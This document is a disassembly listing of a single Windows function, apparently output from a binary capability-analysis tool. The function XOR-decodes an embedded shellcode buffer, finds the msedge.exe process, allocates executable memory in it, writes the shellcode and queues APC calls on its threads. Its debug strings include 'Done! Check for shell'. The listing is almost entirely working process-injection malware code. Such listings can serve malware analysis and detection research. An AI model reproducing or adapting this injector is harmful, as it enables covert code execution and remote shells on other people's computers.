Function at 0x1400b42a0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Enumerate processes
Execute shellcode via indirect call
Inject apc

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x1c8
call fcn.14000b0c0
xor byte [str.YYYYYYYY], 0x59
lea rdx, [0x1400b93d5]
lea rax, [rdx - 0x1d4]
nop dword [rax]
xor byte [rax], 0x59
xor byte [rax + 1], 0x59
add rax, 2
cmp rax, rdx
jne 0x1400b42d0
lea rsi, [rsp + 0x90]
xor eax, eax
pxor xmm0, xmm0
xor edx, edx
mov ecx, 0x26
mov rdi, rsi
mov qword [rsp + 0x84], 0
rep stosq qword [rdi], rax
mov ecx, 6
movups xmmword [rsp + 0x74], xmm0
mov dword [rsp + 0x90], 0x130
mov dword [rsp + 0x70], 0x1c
mov qword [rsp + 0x68], 0
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400b4474
lea rcx, str.Obtained_snapshot._n
lea rdi, [rsp + 0xbc]
movabs rbp, 0x652e65676465736d
call fcn.1400165c0
lea rcx, str.Finding_target_process._n
call fcn.1400165c0
mov rdx, rsi
mov rcx, rbx
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x1400b43b8
lea rcx, str.Failed_to_find_target_process.
call fcn.140016590
mov ebp, eax
mov eax, ebp
add rsp, 0x1c8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
cmp dword [rdi + 7], 0x657865
je 0x1400b43bf
mov rdx, rsi
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1400b4378
cmp qword [rdi], rbp
jne 0x1400b43a9
jmp 0x1400b43a0
mov r8d, dword [rsp + 0x98]
mov rdx, rdi
lea rcx, str.Found_target__s_with_PID__lu._n
call fcn.1400165c0
mov r8d, dword [rsp + 0x98]
xor edx, edx
mov ecx, 0x428
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x1400b4487
mov rdx, rax
lea rcx, str.Obtained_handle_to_process__p._n
call fcn.1400165c0
mov r9d, 0x1000
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x20], 0x40
mov r8d, 0x1d6
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x1400b4647
lea rcx, str.Allocated_memory__n
call fcn.1400165c0
xor eax, eax
mov r9d, 0x1d6
mov rdx, r14
mov qword [rsp + 0x20], rax
lea r8, str.YYYYYYYY
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400b449a
lea rcx, str.Failed_in_writing_shellcode_to_memory.
call fcn.140016590
mov ebp, eax
jmp 0x1400b4386
lea rcx, str.Failed_in_creating_snapshot.
call fcn.140016590
mov ebp, eax
jmp 0x1400b4386
lea rcx, str.Failed_in_getting_a_handle_to_target_process.
call fcn.140016590
mov ebp, eax
jmp 0x1400b4386
mov ecx, 0x50
call fcn.1400b36a0
mov rcx, rax
mov rsi, rax
call fcn.1400997b0
mov qword [rsp + 0x40], rdi
lea r12, [rsp + 0x70]
mov qword [rsp + 0x48], r14
jmp 0x1400b44d1
mov rdx, r12
mov rcx, rbx
call sub.KERNEL32.dll_Thread32Next
mov ebp, eax
test eax, eax
je 0x1400b4522
mov eax, dword [rsp + 0x98]
cmp dword [rsp + 0x7c], eax
jne 0x1400b44c0
mov r8d, dword [rsp + 0x78]
xor edx, edx
mov ecx, 0x10
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x1400b44c0
mov rax, qword [rsi + 0x40]
mov rbp, qword [rsi + 0x30]
sub rax, 8
cmp rbp, rax
je 0x1400b465a
lea rax, [rsp + 0x68]
add rbp, 8
mov qword [rbp - 8], rax
mov qword [rsi + 0x30], rbp
jmp 0x1400b44c0
mov rcx, qword [rsi + 0x48]
mov rbx, qword [rsi + 0x28]
mov r13, qword [rsi + 0x30]
mov r15, qword [rsi + 0x10]
mov rax, rcx
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
sub rax, rbx
mov r12, qword [sym.imp.KERNEL32.dll_CloseHandle]
sar rax, 3
cmp rcx, 1
mov rcx, r13
adc rax, 0xffffffffffffffff
sub rcx, qword [rsi + 0x38]
sar rcx, 3
shl rax, 6
add rax, rcx
mov rcx, qword [rsi + 0x20]
sub rcx, r15
sar rcx, 3
add rax, rcx
jne 0x1400b45c1
lea rcx, str.No_available_threads.
call fcn.140016590
mov ebp, eax
jmp 0x1400b4386
mov rax, qword [r13 - 8]
sub r13, 8
xor r8d, r8d
mov rcx, r14
mov rdx, qword [rax]
mov qword [rsp + 0x68], rdx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, qword [rsp + 0x68]
call r12
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsi + 0x30], r13
mov r13, qword [rsi + 0x30]
cmp r13, r15
je 0x1400b471c
mov r9, qword [rsi + 0x48]
cmp r13, qword [rsi + 0x38]
jne 0x1400b458a
mov rax, qword [r9 - 8]
mov qword [rsp + 0x30], r9
xor r8d, r8d
mov rcx, r14
mov rax, qword [rax + 0x1f8]
mov rdx, qword [rax]
mov qword [rsp + 0x68], rdx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, qword [rsp + 0x68]
call r12
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x200
mov rcx, r13
call fcn.1400b3660
mov r9, qword [rsp + 0x30]
lea rax, [r9 - 8]
mov qword [rsi + 0x48], rax
mov rax, qword [r9 - 8]
lea rdx, [rax + 0x200]
mov qword [rsi + 0x38], rax
add rax, 0x1f8
mov qword [rsi + 0x40], rdx
mov qword [rsi + 0x30], rax
jmp 0x1400b45bd
lea rcx, str.Failed_to_allocate_memory.
call fcn.140016590
mov ebp, eax
jmp 0x1400b4386
mov r8, qword [rsi + 0x48]
mov rdx, qword [rsi + 0x28]
mov rcx, rbp
mov rax, r8
sub rax, rdx
mov qword [rsp + 0x30], rax
sar rax, 3
cmp r8, 1
mov r10, rax
adc rax, 0xffffffffffffffff
sub rcx, qword [rsi + 0x38]
sar rcx, 3
shl rax, 6
add rax, rcx
mov rcx, qword [rsi + 0x20]
sub rcx, qword [rsi + 0x10]
sar rcx, 3
add rax, rcx
movabs rcx, 0xfffffffffffffff
cmp rax, rcx
je 0x1400b47e5
mov rdi, qword [rsi]
mov r15, qword [rsi + 8]
mov rax, r8
sub rax, rdi
mov r11, r15
sar rax, 3
sub r11, rax
cmp r11, 1
jbe 0x1400b477c
mov rdi, qword [rsi + 0x48]
mov ecx, 0x200
call fcn.1400b36a0
mov qword [rdi + 8], rax
lea rax, [rsp + 0x68]
add rdi, 8
mov qword [rbp], rax
movq xmm0, qword [rdi]
mov rax, qword [rdi]
movq xmm2, rdi
punpcklqdq xmm0, xmm0
add rax, 0x200
movups xmmword [rsi + 0x30], xmm0
movq xmm0, rax
punpcklqdq xmm0, xmm2
movups xmmword [rsi + 0x40], xmm0
jmp 0x1400b44c0
lea rcx, str.Done__Check_for_shell.
call fcn.1400165c0
mov r14, qword [rsi]
test r14, r14
je 0x1400b4764
mov rax, qword [rsi + 0x48]
lea r13, [rax + 8]
jmp 0x1400b474b
mov rcx, qword [rbx]
mov edx, 0x200
add rbx, 8
call fcn.1400b3660
cmp rbx, r13
jb 0x1400b473a
mov rax, qword [rsi + 8]
mov rcx, r14
lea rdx, [rax*8]
call fcn.1400b3660
mov rcx, rsi
mov edx, 0x50
call fcn.1400b3660
mov rcx, rdi
call r12
jmp 0x1400b4386
lea r14, [r10 + 2]
lea rax, [r14 + r14]
cmp rax, r15
jae 0x1400b481c
mov rax, r15
add r8, 8
sub rax, r14
sub r8, rdx
shr rax, 1
lea r14, [rdi + rax*8]
cmp r14, rdx
jae 0x1400b47fb
cmp r8, 8
jle 0x1400b47f1
mov rcx, r14
call fcn.140016310
mov rax, qword [r14]
mov r10, qword [rsp + 0x30]
mov qword [rsi + 0x28], r14
lea rdx, [rax + 0x200]
movq xmm0, rax
add r10, r14
movq xmm1, rdx
mov qword [rsi + 0x48], r10
punpcklqdq xmm0, xmm1
movups xmmword [rsi + 0x18], xmm0
jmp 0x1400b46d1
lea rcx, str.cannot_create_std::deque_larger_than_max_size__
call fcn.1400b4c40
jne 0x1400b47b4
mov rax, qword [rdx]
mov qword [r14], rax
jmp 0x1400b47b4
mov rax, qword [rsp + 0x30]
lea rax, [r14 + rax + 8]
cmp r8, 8
jle 0x1400b48a2
sub rax, r8
mov rcx, rax
call fcn.140016310
jmp 0x1400b47b4
test r15, r15
mov eax, 1
cmovne rax, r15
lea r13, [r15 + rax + 2]
cmp rcx, r13
jb 0x1400b48be
lea rcx, [r13*8]
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x50], r8
call fcn.1400b36a0
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rcx, rax
mov qword [rsp + 0x38], rax
mov rax, r13
sub rax, r14
add r8, 8
shr rax, 1
sub r8, rdx
lea r14, [rcx + rax*8]
cmp r8, 8
jle 0x1400b48b4
mov rcx, r14
call fcn.140016310
lea rdx, [r15*8]
mov rcx, rdi
call fcn.1400b3660
mov rax, qword [rsp + 0x38]
mov qword [rsi + 8], r13
mov qword [rsi], rax
jmp 0x1400b47b4
jne 0x1400b47b4
mov rdx, qword [rdx]
mov qword [rax - 8], rdx
jmp 0x1400b47b4
jne 0x1400b4881
mov rax, qword [rdx]
mov qword [r14], rax
jmp 0x1400b4881
movabs rax, 0x1fffffffffffffff
cmp rax, r13
jae 0x1400b48d2
call fcn.1400b4a90
call fcn.1400b4a50
mov rbx, rax
mov rcx, rsi
mov edx, 0x50
call fcn.1400b3660
mov rcx, rbx
call fcn.14000c880
nop
cmp byte [0x1400b64a0], 0
jne 0x1400b4900
mov byte [0x1400b64a0], 1
cmp byte [0x1400b64c0], 0
jne 0x1400b4910
mov byte [0x1400b64c0], 1
cmp byte [0x1400b63e0], 0
jne 0x1400b4920
mov byte [0x1400b63e0], 1
cmp byte [0x1400b63f0], 0
jne 0x1400b4930
mov byte [0x1400b63f0], 1
cmp byte [0x1400b6460], 0
jne 0x1400b4940
mov byte [0x1400b6460], 1
cmp byte [0x1400b6480], 0
jne 0x1400b4950
mov byte [0x1400b6480], 1
cmp byte [0x1400b6440], 0
jne 0x1400b4960
mov byte [0x1400b6440], 1
cmp byte [0x1400b6420], 0
jne 0x1400b4970
mov byte [0x1400b6420], 1
ret